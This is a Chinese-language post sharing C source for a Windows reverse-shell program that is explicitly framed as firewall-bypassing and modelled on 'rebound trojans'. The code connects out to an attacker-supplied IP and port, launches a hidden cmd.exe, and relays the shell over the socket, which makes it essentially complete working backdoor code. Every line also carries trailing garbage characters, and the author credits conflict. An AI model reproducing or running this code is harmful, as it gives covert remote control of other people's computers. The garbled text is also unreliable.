这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 k w
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/* ============================== vLq%k+D#
Rebound port in Windows NT _T8S4s8q
By wind,2006/7 Wy-y-wi:p
===============================*/ ;<b7kepR
#include )4:]gx#cr
#include <1*\ ~CX
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#pragma comment(lib,"wsock32.lib") vMJ(Ll7/
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void OutputShell(); 5U]@
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SOCKET sClient; jk\V2x@DR
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Y"s8j=1m
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void main(int argc,char **argv) T
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{ asmu<
WSADATA stWsaData; anfnqa8
int nRet; {7%HK2='
SOCKADDR_IN stSaiClient,stSaiServer; >@4AxV\
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if(argc != 3) Cp>y<C"
{ CW/L(RQ
printf("Useage:\n\rRebound DestIP DestPort\n"); }ALli0n`V)
return; El
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} +$2`"%nBG
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WSAStartup(MAKEWORD(2,2),&stWsaData); mV4gw'.;7
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); X*5N&AJ
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stSaiClient.sin_family = AF_INET; \l
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stSaiClient.sin_port = htons(0); u3wd~.
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); bH'2iG
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) SK 5]7C2
{ v?Cakwu
printf("Bind Socket Failed!\n"); +StsSZ
return; +|5 O b
} HPt\ BK
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stSaiServer.sin_family = AF_INET; 6uUn
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Z*h}E
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); fM*?i"j;Y
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ,\#s_N7
{ cN&:V2,
printf("Connect Error!"); U^U
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return; BB(v,W
} DVKb`KJ"
OutputShell(); r=AA
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} v*<rNZI
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void OutputShell() u!F\`Gfm_
{ r_
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char szBuff[1024]; C=cn.CX
SECURITY_ATTRIBUTES stSecurityAttributes; VhAJ1[k4!
OSVERSIONINFO stOsversionInfo; pQC|_T#u
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; K~S*<?
STARTUPINFO stStartupInfo; nXI8 `7D
char *szShell; H~>8q~o]
PROCESS_INFORMATION stProcessInformation; PCV#O63[
unsigned long lBytesRead; Q&^\YgkCf
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); y
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); eQn[
stSecurityAttributes.lpSecurityDescriptor = 0; }Ya! [tX
stSecurityAttributes.bInheritHandle = TRUE; 0)
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Km,o+9?1gF
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Wv;,@xTZ
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); qK9A
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stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; f\.y z[
stStartupInfo.wShowWindow = SW_HIDE; Ryxu#]s
stStartupInfo.hStdInput = hReadPipe; I|<]>D -8
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; &rPAW V'v
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GetVersionEx(&stOsversionInfo); P4eH:0=#
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switch(stOsversionInfo.dwPlatformId) |>m'szca4
{ :eJJL,v
case 1: [/VpvQ'
szShell = "command.com"; eO*s,*
break; ;$gV$KB:xA
default: |_-w{2K
szShell = "cmd.exe"; )& Oxp&x
break; Fav++ z
} IA[:-2_
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation);
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send(sClient,szMsg,77,0); U?5lqq
while(1) bX(/2_l
{ zH9*w:"4<_
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); [C<K~
if(lBytesRead) M* Ej*#
{ l(}L-:@A
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); $8AW
send(sClient,szBuff,lBytesRead,0); $|3zsi2
} @pYC!;n+
else la!U
{ ,9_O4O%
lBytesRead=recv(sClient,szBuff,1024,0); wAX;)PLg
if(lBytesRead<=0) break; dGkw%3[
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); k.o8!aCm
} )Ho"b
} KRcB_(
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return; ZZTf/s*
}